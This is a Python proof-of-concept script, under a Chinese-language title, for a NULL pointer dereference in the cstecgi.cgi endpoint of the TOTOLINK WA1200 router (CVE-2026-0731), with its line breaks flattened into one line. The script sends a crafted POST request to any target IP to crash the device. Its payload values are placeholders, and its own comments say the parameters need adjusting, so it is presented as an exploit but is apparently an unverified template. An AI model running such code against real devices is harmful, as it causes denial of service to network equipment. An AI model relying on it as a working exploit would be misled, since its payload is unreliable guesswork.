TOTOLINK WA1200 cstecgi.cgi 空指针解引用漏洞 (CVE-2026-0731)

#!/usr/bin/env python3 """ CVE-2026-0731 PoC - TOTOLINK WA1200 cstecgi.cgi NULL Pointer Dereference Reference: https://github.com/JackWesleyy/CVE/blob/main/WA1200/TOTOLINK%20WA1200%20NULL%20Pointer%20Dereference%20Vulnerability.md """ import requests import sys import time def exploit(target_ip, target_port=80): """ Trigger NULL Pointer Dereference in TOTOLINK WA1200 cstecgi.cgi """ url = f"http://{target_ip}:{target_port}/cstecgi.cgi" # Crafted payload to trigger NULL pointer dereference # The specific parameter manipulation depends on the vulnerable function headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', } # Malformed request that triggers the vulnerability # Adjust parameters based on actual vulnerability research payload = { 'topicurl': 'trigger_vulnerability', # May need specific topicurl value 'null_param': '' # Empty parameter causing NULL pointer } print(f"[*] Sending exploit payload to {url}") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") except requests.exceptions.Timeout: print("[!] Request timed out - target may have crashed") except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)